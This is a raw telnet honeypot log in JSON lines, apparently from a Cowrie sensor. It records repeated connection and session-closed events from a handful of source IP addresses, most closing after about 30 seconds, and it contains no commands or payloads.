{"eventid":"cowrie.session.closed","duration":30.795830011367798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:10.045327Z","src_ip":"81.30.157.18","session":"8b34eb16f1d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.637755870819092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:10.078659Z","src_ip":"81.30.157.18","session":"ed4285f98b8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.627618551254272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:10.093105Z","src_ip":"81.30.157.18","session":"7ad89ca5e404","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29429864883423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:10.106015Z","src_ip":"149.102.133.101","session":"dad85a569b40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.970696210861206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:10.467724Z","src_ip":"168.119.91.149","session":"4df019751732","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83267617225647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:10.491842Z","src_ip":"168.119.91.149","session":"37af71bc9147","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.482070207595825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:10.548803Z","src_ip":"168.119.91.149","session":"7d02aa197599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":50326,"dst_ip":"159.203.135.109","dst_port":23,"session":"347247c31514","protocol":"telnet","message":"New connection: 85.208.100.77:50326 (159.203.135.109:23) [session: 347247c31514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:10.588465Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46702,"dst_ip":"159.203.135.109","dst_port":23,"session":"96a16cb109e0","protocol":"telnet","message":"New connection: 81.30.157.18:46702 (159.203.135.109:23) [session: 96a16cb109e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:10.677412Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46726,"dst_ip":"159.203.135.109","dst_port":23,"session":"28e28e343fea","protocol":"telnet","message":"New connection: 81.30.157.18:46726 (159.203.135.109:23) [session: 28e28e343fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:11.087999Z"}
{"eventid":"cowrie.session.closed","duration":30.599082231521606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:11.151753Z","src_ip":"81.30.157.18","session":"efe8debf1922","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.056070804595947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:11.185424Z","src_ip":"85.208.100.77","session":"16c9549b0149","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34206,"dst_ip":"159.203.135.109","dst_port":23,"session":"7aa0fdcda116","protocol":"telnet","message":"New connection: 168.119.91.149:34206 (159.203.135.109:23) [session: 7aa0fdcda116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:11.205551Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46740,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2edd1e736be","protocol":"telnet","message":"New connection: 81.30.157.18:46740 (159.203.135.109:23) [session: a2edd1e736be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:11.254387Z"}
{"eventid":"cowrie.session.closed","duration":31.20191979408264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:11.397774Z","src_ip":"168.119.91.149","session":"557be7c5a7a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99095916748047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:11.521385Z","src_ip":"168.119.91.149","session":"6e479c51c83f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":44426,"dst_ip":"159.203.135.109","dst_port":23,"session":"655549f5a850","protocol":"telnet","message":"New connection: 37.187.24.227:44426 (159.203.135.109:23) [session: 655549f5a850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:11.571378Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":52720,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca7941886f7a","protocol":"telnet","message":"New connection: 85.208.100.77:52720 (159.203.135.109:23) [session: ca7941886f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:11.958684Z"}
{"eventid":"cowrie.session.closed","duration":30.87470316886902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.049493Z","src_ip":"81.30.157.18","session":"ff0375b50e67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48218011856079,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.056098Z","src_ip":"81.30.157.18","session":"1abeea7e1c0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39045476913452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.060940Z","src_ip":"147.135.136.77","session":"fbafbb1e5df0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":48300,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ef58872a5d6","protocol":"telnet","message":"New connection: 149.102.133.101:48300 (159.203.135.109:23) [session: 9ef58872a5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.065452Z"}
{"eventid":"cowrie.session.closed","duration":31.05244517326355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.074022Z","src_ip":"81.30.157.18","session":"070537298816","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98513889312744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.082259Z","src_ip":"37.187.24.227","session":"48b95906cc91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":45558,"dst_ip":"159.203.135.109","dst_port":23,"session":"04197efdcf4c","protocol":"telnet","message":"New connection: 37.187.24.227:45558 (159.203.135.109:23) [session: 04197efdcf4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.087601Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":43670,"dst_ip":"159.203.135.109","dst_port":23,"session":"324f0f86567c","protocol":"telnet","message":"New connection: 46.101.32.143:43670 (159.203.135.109:23) [session: 324f0f86567c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.117659Z"}
{"eventid":"cowrie.session.closed","duration":30.914163827896118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.130854Z","src_ip":"85.208.100.77","session":"2bf91f601e28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46842,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd22d89c876f","protocol":"telnet","message":"New connection: 81.30.157.18:46842 (159.203.135.109:23) [session: fd22d89c876f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.183437Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":53064,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f0f997e646e","protocol":"telnet","message":"New connection: 85.208.100.77:53064 (159.203.135.109:23) [session: 7f0f997e646e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.199163Z"}
{"eventid":"cowrie.session.closed","duration":30.365104913711548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.239786Z","src_ip":"149.102.133.101","session":"bc945e2f83e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.947041034698486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.478957Z","src_ip":"81.30.157.18","session":"bf3d76acef4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.371007204055786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.508539Z","src_ip":"168.119.91.149","session":"51ce7b868ec5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":53754,"dst_ip":"159.203.135.109","dst_port":23,"session":"723ebcacc20d","protocol":"telnet","message":"New connection: 85.208.100.77:53754 (159.203.135.109:23) [session: 723ebcacc20d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.564959Z"}
{"eventid":"cowrie.session.closed","duration":30.893409967422485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.608417Z","src_ip":"46.101.32.143","session":"0d0eebd3db4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17088222503662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.664432Z","src_ip":"147.135.136.77","session":"bde24e57ee43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.64920449256897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.788097Z","src_ip":"81.30.157.18","session":"73db22d3041e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46880,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf9fd2dd8bbf","protocol":"telnet","message":"New connection: 81.30.157.18:46880 (159.203.135.109:23) [session: bf9fd2dd8bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:12.874882Z"}
{"eventid":"cowrie.session.closed","duration":30.957619428634644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:13.064562Z","src_ip":"85.208.100.77","session":"b8cc2f87cd86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":48368,"dst_ip":"159.203.135.109","dst_port":23,"session":"3547ea270a2e","protocol":"telnet","message":"New connection: 37.187.24.227:48368 (159.203.135.109:23) [session: 3547ea270a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:13.086114Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":48346,"dst_ip":"159.203.135.109","dst_port":23,"session":"750efa9bc76b","protocol":"telnet","message":"New connection: 149.102.133.101:48346 (159.203.135.109:23) [session: 750efa9bc76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:13.098537Z"}
{"eventid":"cowrie.session.closed","duration":30.294757843017578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:13.148125Z","src_ip":"85.208.100.77","session":"176bce61ba2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":54884,"dst_ip":"159.203.135.109","dst_port":23,"session":"543b97bce076","protocol":"telnet","message":"New connection: 85.208.100.77:54884 (159.203.135.109:23) [session: 543b97bce076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:13.194776Z"}
{"eventid":"cowrie.session.closed","duration":31.163901567459106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:13.216760Z","src_ip":"147.135.136.77","session":"f9195a39b599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":48746,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9b27981d790","protocol":"telnet","message":"New connection: 37.187.24.227:48746 (159.203.135.109:23) [session: d9b27981d790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:13.257936Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":49986,"dst_ip":"159.203.135.109","dst_port":23,"session":"417426a5714b","protocol":"telnet","message":"New connection: 147.135.136.77:49986 (159.203.135.109:23) [session: 417426a5714b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:13.262097Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46898,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7c7838dcafa","protocol":"telnet","message":"New connection: 81.30.157.18:46898 (159.203.135.109:23) [session: e7c7838dcafa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:13.448572Z"}
{"eventid":"cowrie.session.closed","duration":30.44058656692505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:13.500808Z","src_ip":"168.119.91.149","session":"d62c45569579","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.010245323181152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:13.517159Z","src_ip":"149.102.133.101","session":"5c06d5d3d836","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34286,"dst_ip":"159.203.135.109","dst_port":23,"session":"a66f40064b2e","protocol":"telnet","message":"New connection: 168.119.91.149:34286 (159.203.135.109:23) [session: a66f40064b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:13.524230Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34300,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cb830c0c91f","protocol":"telnet","message":"New connection: 168.119.91.149:34300 (159.203.135.109:23) [session: 2cb830c0c91f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:13.638467Z"}
{"eventid":"cowrie.session.closed","duration":30.21424627304077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:14.066801Z","src_ip":"37.187.24.227","session":"ff3e6a4855a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74770951271057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:14.089090Z","src_ip":"81.30.157.18","session":"6cd19f83eaf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":45710,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad2b1734fd5c","protocol":"telnet","message":"New connection: 46.101.32.143:45710 (159.203.135.109:23) [session: ad2b1734fd5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:14.126673Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45304,"dst_ip":"159.203.135.109","dst_port":23,"session":"5785fa87c5a2","protocol":"telnet","message":"New connection: 81.30.157.18:45304 (159.203.135.109:23) [session: 5785fa87c5a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:14.139384Z"}
{"eventid":"cowrie.session.closed","duration":30.5437433719635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:14.143085Z","src_ip":"147.135.136.77","session":"c741d298c05b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16741681098938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:14.235881Z","src_ip":"149.102.133.101","session":"804d19180154","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50008,"dst_ip":"159.203.135.109","dst_port":23,"session":"256d378d1919","protocol":"telnet","message":"New connection: 147.135.136.77:50008 (159.203.135.109:23) [session: 256d378d1919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:14.257003Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50016,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b57eed1d031","protocol":"telnet","message":"New connection: 147.135.136.77:50016 (159.203.135.109:23) [session: 6b57eed1d031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:14.313556Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45326,"dst_ip":"159.203.135.109","dst_port":23,"session":"d86ddd7d675e","protocol":"telnet","message":"New connection: 81.30.157.18:45326 (159.203.135.109:23) [session: d86ddd7d675e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:14.360211Z"}
{"eventid":"cowrie.session.closed","duration":30.936463594436646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:14.474076Z","src_ip":"168.119.91.149","session":"51992482db5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.765727281570435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:14.492486Z","src_ip":"168.119.91.149","session":"70d52ba0f17d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34344,"dst_ip":"159.203.135.109","dst_port":23,"session":"f56c84a40fa7","protocol":"telnet","message":"New connection: 168.119.91.149:34344 (159.203.135.109:23) [session: f56c84a40fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:14.544236Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50070,"dst_ip":"159.203.135.109","dst_port":23,"session":"7120ec7b6cb8","protocol":"telnet","message":"New connection: 147.135.136.77:50070 (159.203.135.109:23) [session: 7120ec7b6cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:15.017265Z"}
{"eventid":"cowrie.session.closed","duration":30.79104709625244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:15.039083Z","src_ip":"46.101.32.143","session":"9bf6846780ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.786284923553467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:15.049085Z","src_ip":"37.187.24.227","session":"9b75f46127a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97719097137451,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:15.103379Z","src_ip":"51.79.21.139","session":"4ba5cc754d07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":53768,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0ff8ea85890","protocol":"telnet","message":"New connection: 37.187.24.227:53768 (159.203.135.109:23) [session: a0ff8ea85890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:15.135286Z"}
{"eventid":"cowrie.session.closed","duration":30.53619909286499,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:15.152225Z","src_ip":"37.187.24.227","session":"037b86bfccff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45358,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf28cd28fa6a","protocol":"telnet","message":"New connection: 81.30.157.18:45358 (159.203.135.109:23) [session: bf28cd28fa6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:15.160510Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":59066,"dst_ip":"159.203.135.109","dst_port":23,"session":"42f1ac180779","protocol":"telnet","message":"New connection: 85.208.100.77:59066 (159.203.135.109:23) [session: 42f1ac180779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:15.311371Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":54292,"dst_ip":"159.203.135.109","dst_port":23,"session":"70cf56ecd316","protocol":"telnet","message":"New connection: 37.187.24.227:54292 (159.203.135.109:23) [session: 70cf56ecd316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:15.331282Z"}
{"eventid":"cowrie.session.closed","duration":30.757848978042603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:15.471100Z","src_ip":"168.119.91.149","session":"716553fe3b43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45384,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffa86cc54a19","protocol":"telnet","message":"New connection: 81.30.157.18:45384 (159.203.135.109:23) [session: ffa86cc54a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:15.524393Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34358,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f5d437e2fa3","protocol":"telnet","message":"New connection: 168.119.91.149:34358 (159.203.135.109:23) [session: 2f5d437e2fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:15.670974Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34360,"dst_ip":"159.203.135.109","dst_port":23,"session":"809efb2a5aa5","protocol":"telnet","message":"New connection: 168.119.91.149:34360 (159.203.135.109:23) [session: 809efb2a5aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:15.804966Z"}
{"eventid":"cowrie.session.closed","duration":30.861313343048096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:16.043380Z","src_ip":"37.187.24.227","session":"26bb3bdccbf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.264811754226685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:16.056654Z","src_ip":"37.187.24.227","session":"16e141fcce39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8963520526886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:16.107195Z","src_ip":"46.101.32.143","session":"93bee53b6f86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04982089996338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:16.120204Z","src_ip":"81.30.157.18","session":"dfbea29fbacc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45388,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5fe62f140b6","protocol":"telnet","message":"New connection: 81.30.157.18:45388 (159.203.135.109:23) [session: c5fe62f140b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:16.124639Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":56720,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b9b5d899f0b","protocol":"telnet","message":"New connection: 37.187.24.227:56720 (159.203.135.109:23) [session: 7b9b5d899f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:16.187145Z"}
{"eventid":"cowrie.session.closed","duration":30.57138729095459,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:16.213899Z","src_ip":"46.101.32.143","session":"5d67075d3411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.735982418060303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:16.237220Z","src_ip":"46.101.32.143","session":"42cc91924ec8","protocol":"telnet"}
